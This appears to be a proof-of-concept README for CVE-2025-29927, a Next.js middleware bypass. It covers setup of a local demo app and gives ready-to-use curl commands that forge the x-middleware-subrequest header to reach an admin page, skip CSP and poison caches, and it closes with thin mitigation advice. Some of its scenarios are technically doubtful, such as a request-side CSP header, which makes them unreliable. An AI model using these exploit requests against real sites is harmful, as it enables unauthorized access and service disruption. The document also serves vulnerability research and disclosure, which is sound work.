CVE-2025-29927: Next.js Middleware Bypass PoC

Overview

This PoC demonstrates CVE-2025-29927, a vulnerability in Next.js middleware that allows attackers to bypass authentication, authorization, and CSP mechanisms using the x-middleware-subrequest header.

Affected Versions

Next.js versions 11.1.4 to 15.1.7

Setup & Installation

1️⃣ Clone & Install the PoC

git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo 
cd my-next-app
npm install
npm run dev

The app will start on http://localhost:3000

Exploitation Scenarios

1️⃣ Bypass Authentication & Authorization (cURL)

1- Use x-middleware-subrequest to gain unauthorized access:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

💥 Expected result: The response returns admin admin, even though authentication was bypassed.

2️⃣ CSP Bypass for XSS Injection

If CSP is enforced via middleware, bypass it:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Content-Security-Policy: default-src 'self'" \
     http://localhost:3000/admin

💥 Expected result: The CSP is ignored, allowing malicious script execution.

3️⃣ Cache-Poisoning DoS (CPDoS) Attack

Exploit cache poisoning by forcing a malformed response:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Cache-Control: public, max-age=3600" \
     http://localhost:3000/admin

💥 Expected result: The page is cached with incorrect content, disrupting normal users.

Mitigation Strategies

• ✅ Validate middleware logic to prevent bypass .
• ✅ Upgrade Next.js once a patched version is released .

Credits

🔍 Discovered by: Allam Rachid (zhero;) & Allam Yasser (inzo_)